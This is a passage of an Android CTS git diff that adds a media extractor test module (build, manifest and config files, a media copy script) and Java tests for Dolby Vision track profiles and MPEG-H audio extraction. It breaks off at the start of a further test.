+        for (Encoder encoder : encoders) {
+            if (encoder.testSpecific(width, height, flexYUV)) {
+                skipped = false;
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("duplicate or unsupported resolution");
+        }
+    }
+
+    /* test intra refresh with flexYUV */
+    private void intraRefresh(Encoder[] encoders, int width, int height) {
+        boolean skipped = true;
+        if (encoders.length == 0) {
+            MediaUtils.skipTest("no such encoder present");
+            return;
+        }
+        for (Encoder encoder : encoders) {
+            if (encoder.testIntraRefresh(width, height)) {
+                skipped = false;
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("intra-refresh unsupported");
+        }
+    }
+
+    /* test size, frame rate and bit rate */
+    private void detailed(
+            Encoder[] encoders, int width, int height, int frameRate, int bitRate,
+            boolean flexYUV) {
+        Assume.assumeTrue("Test is currently enabled only for avc and vp8 encoders",
+                mEncHandle.mMime.equals(MediaFormat.MIMETYPE_VIDEO_AVC) ||
+                        mEncHandle.mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8));
+        if (encoders.length == 0) {
+            MediaUtils.skipTest("no such encoder present");
+            return;
+        }
+        boolean skipped = true;
+        for (Encoder encoder : encoders) {
+            if (encoder.testSupport(width, height, frameRate, bitRate)) {
+                skipped = false;
+                encoder.testDetailed(width, height, frameRate, bitRate, flexYUV);
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("unsupported resolution and rate");
+        }
+    }
+
+}
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/WorkDir.java b/tests/tests/media/encoder/src/android/media/encoder/cts/WorkDir.java
new file mode 100644
index 0000000..60d307d
--- /dev/null
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.encoder.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaEncoderTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/extractor/Android.bp b/tests/tests/media/extractor/Android.bp
new file mode 100644
index 0000000..cdda629
--- /dev/null
+++ b/tests/tests/media/extractor/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+android_test {
+    name: "CtsMediaExtractorTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "cts-media-common",
+    ],
+    resource_dirs: ["res"],
+    // do not compress media files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/extractor/AndroidManifest.xml b/tests/tests/media/extractor/AndroidManifest.xml
new file mode 100644
index 0000000..82f45b9
--- /dev/null
+++ b/tests/tests/media/extractor/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.extractor.cts"
+     android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+    </application>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.extractor.cts"
+         android:label="CTS tests of android MediaExtractor">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
new file mode 100644
index 0000000..fbe2d48
--- /dev/null
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media extractor test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaExtractorTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaExtractorTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaExtractorTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.extractor.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="1h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/extractor/DynamicConfig.xml b/tests/tests/media/extractor/DynamicConfig.xml
new file mode 100644
index 0000000..1f3f5b0
--- /dev/null
+++ b/tests/tests/media/extractor/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/extractor/CtsMediaExtractorTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/extractor/OWNERS b/tests/tests/media/extractor/OWNERS
new file mode 100644
index 0000000..b91d177
--- /dev/null
+++ b/tests/tests/media/extractor/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 817235
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/extractor/copy_media.sh b/tests/tests/media/extractor/copy_media.sh
new file mode 100755
index 0000000..11a7f04
--- /dev/null
+++ b/tests/tests/media/extractor/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "extractor" "CtsMediaExtractorTestCases-1.0"
diff --git a/tests/tests/media/res/raw/sample_mpegh_mha1.mp4 b/tests/tests/media/extractor/res/raw/sample_mpegh_mha1.mp4
similarity index 100%
rename from tests/tests/media/res/raw/sample_mpegh_mha1.mp4
rename to tests/tests/media/extractor/res/raw/sample_mpegh_mha1.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/sample_mpegh_mhm1.mp4 b/tests/tests/media/extractor/res/raw/sample_mpegh_mhm1.mp4
similarity index 100%
rename from tests/tests/media/res/raw/sample_mpegh_mhm1.mp4
rename to tests/tests/media/extractor/res/raw/sample_mpegh_mhm1.mp4
Binary files differ
diff --git a/tests/tests/media/extractor/src/android/media/extractor/cts/MediaExtractorTest.java b/tests/tests/media/extractor/src/android/media/extractor/cts/MediaExtractorTest.java
new file mode 100644
index 0000000..5d67c62
--- /dev/null
+++ b/tests/tests/media/extractor/src/android/media/extractor/cts/MediaExtractorTest.java
@@ -0,0 +1,909 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.extractor.cts;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.hardware.display.DisplayManager;
+import android.icu.util.ULocale;
+import android.media.AudioFormat;
+import android.media.AudioPresentation;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.Preconditions;
+import android.media.cts.TestMediaDataSource;
+import android.media.cts.StreamUtils;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.Display;
+import android.view.Display.HdrCapabilities;
+import android.webkit.cts.CtsTestServer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedReader;
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StreamTokenizer;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorTest {
+    private static final String TAG = "MediaExtractorTest";
+    private static final boolean IS_AT_LEAST_S = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    protected MediaExtractor mExtractor;
+
+    @Before
+    public void setUp() throws Exception {
+        mExtractor = new MediaExtractor();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mExtractor.release();
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private TestMediaDataSource getDataSourceFor(final String res) throws Exception {
+        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+        return TestMediaDataSource.fromAssetFd(afd);
+    }
+
+    private TestMediaDataSource setDataSource(final String res) throws Exception {
+        TestMediaDataSource ds = getDataSourceFor(res);
+        mExtractor.setDataSource(ds);
+        return ds;
+    }
+
+    @Test
+    public void testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
+        TestMediaDataSource dataSource = getDataSourceFor("testvideo.3gp");
+        dataSource.returnFromReadAt(-2);
+        try {
+            mExtractor.setDataSource(dataSource);
+            fail("Expected IOException.");
+        } catch (IOException e) {
+            // Expected.
+        }
+    }
+
+    private boolean advertisesDolbyVision() {
+        // Device advertises support for DV if 1) it has a DV decoder, OR
+        // 2) it lists DV on the Display HDR capabilities.
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            return true;
+        }
+
+        DisplayManager displayManager = getContext().getSystemService(DisplayManager.class);
+        Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+        HdrCapabilities cap = defaultDisplay.getHdrCapabilities();
+        for (int type : cap.getSupportedHdrTypes()) {
+            if (type == HdrCapabilities.HDR_TYPE_DOLBY_VISION) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
+    @CddTest(requirement="5.3.8")
+    @Test
+    public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
+        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_30fps_dvhe_04.mp4");
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (advertisesDolbyVision()) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheDtr, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd30, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/hevc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
+    @CddTest(requirement="5.3.8")
+    @Test
+    public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
+        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvhe_08.mp4");
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (advertisesDolbyVision()) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheSt, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/hevc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
+    @CddTest(requirement="5.3.8")
+    @Test
+    public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
+        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvav_09.mp4");
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (advertisesDolbyVision()) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvavSe, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/avc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/avc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.0/Uhd30)
+    @SmallTest
+    @CddTest(requirement="5.3.8")
+    @Test
+    public void testDolbyVisionMediaExtractorProfileDvav1() throws Exception {
+        TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10.mp4");
+
+        if (advertisesDolbyVision()) {
+            assertEquals(1, mExtractor.getTrackCount());
+
+            // Dvav1 10 exposes a single backward compatible track.
+            final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+            final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+            assertEquals("video/dolby-vision", mimeType);
+
+            final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
+            final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
+
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+        } else {
+            MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
+        }
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.1/Uhd30)
+    @SmallTest
+    @CddTest(requirement="5.3.8")
+    @Test
+    public void testDolbyVisionMediaExtractorProfileDvav1_2() throws Exception {
+        TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10_2.mp4");
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (advertisesDolbyVision()) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/av01
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/av01", mimeType);
+    }
+
+    //MPEG-H 3D Audio single stream (mha1)
+    @Test
+    public void testMpegh3dAudioMediaExtractorMha1() throws Exception {
+        // TODO(b/186267251) move file to cloud storage.
+        AssetFileDescriptor afd = getContext().getResources()
+            .openRawResourceFd(R.raw.sample_mpegh_mha1);
+        mExtractor.setDataSource(afd);
+        assertEquals(1, mExtractor.getTrackCount());
+
+        // The following values below require API Build.VERSION_CODES.S
+        if (!MediaUtils.check(IS_AT_LEAST_S, "test needs Android 12")) return;
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals(MediaFormat.MIMETYPE_AUDIO_MPEGH_MHA1, mimeType);
+
+        final int hpli = trackFormat.getInteger(MediaFormat.KEY_MPEGH_PROFILE_LEVEL_INDICATION);
+        assertEquals(0x0D, hpli);
+
+        final int hrcl = trackFormat.getInteger(MediaFormat.KEY_MPEGH_REFERENCE_CHANNEL_LAYOUT);
+        assertEquals(0x13, hrcl);
+    }
+
+    //MPEG-H 3D Audio single stream encapsulated in MHAS (mhm1)
+    @Test
+    public void testMpegh3dAudioMediaExtractorMhm1() throws Exception {
+        // TODO(b/186267251) move file to cloud storage.
+        AssetFileDescriptor afd = getContext().getResources()
+            .openRawResourceFd(R.raw.sample_mpegh_mhm1);
+        mExtractor.setDataSource(afd);
+        assertEquals(1, mExtractor.getTrackCount());
+
+        // The following values below require API Build.VERSION_CODES.S
+        if (!MediaUtils.check(IS_AT_LEAST_S, "test needs Android 12")) return;
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals(MediaFormat.MIMETYPE_AUDIO_MPEGH_MHM1, mimeType);
+
+        final int hpli = trackFormat.getInteger(MediaFormat.KEY_MPEGH_PROFILE_LEVEL_INDICATION);
+        assertEquals(0x0D, hpli);
+
+        final int hrcl = trackFormat.getInteger(MediaFormat.KEY_MPEGH_REFERENCE_CHANNEL_LAYOUT);
+        assertEquals(0x13, hrcl);
+
+        final ByteBuffer hcos = trackFormat.getByteBuffer(MediaFormat.KEY_MPEGH_COMPATIBLE_SETS);
+        assertEquals(0x12, hcos.get());
+    }
+
+    private void checkExtractorSamplesAndMetrics() {
+        // 1MB is enough for any sample.
+        final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
+        final int trackCount = mExtractor.getTrackCount();
+
+        for (int i = 0; i < trackCount; i++) {
+            mExtractor.selectTrack(i);
+        }
+
+        for (int i = 0; i < trackCount; i++) {
+            assertTrue(mExtractor.readSampleData(buf, 0) > 0);
+            assertTrue(mExtractor.advance());
+        }
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mExtractor.getMetrics();
+        if (metrics == null) {
+            fail("getMetrics() returns no data");
+        } else {
+            // ensure existence of some known fields
+            int tracks = metrics.getInt(MediaExtractor.MetricsConstants.TRACKS, -1);
+            if (tracks != trackCount) {
+                fail("getMetrics() trackCount expect " + trackCount + " got " + tracks);
+            }
+        }
+    }
+
+    static boolean audioPresentationSetMatchesReference(
+            Map<Integer, AudioPresentation> reference,
+            List<AudioPresentation> actual) {
+        if (reference.size() != actual.size()) {
+            Log.w(TAG, "AudioPresentations set size is invalid, expected: " +
+                    reference.size() + ", actual: " + actual.size());
+            return false;
+        }
+        for (AudioPresentation ap : actual) {
+            AudioPresentation refAp = reference.get(ap.getPresentationId());
+            if (refAp == null) {
+                Log.w(TAG, "AudioPresentation not found in the reference set, presentation id=" +
+                        ap.getPresentationId());
+                return false;
+            }
+            if (!refAp.equals(ap)) {
+                Log.w(TAG, "AudioPresentations are different, reference: " +
+                        refAp + ", actual: " + ap);
+                return false;
+            }
+        }
+        return true;
+    }
+
+    @Test
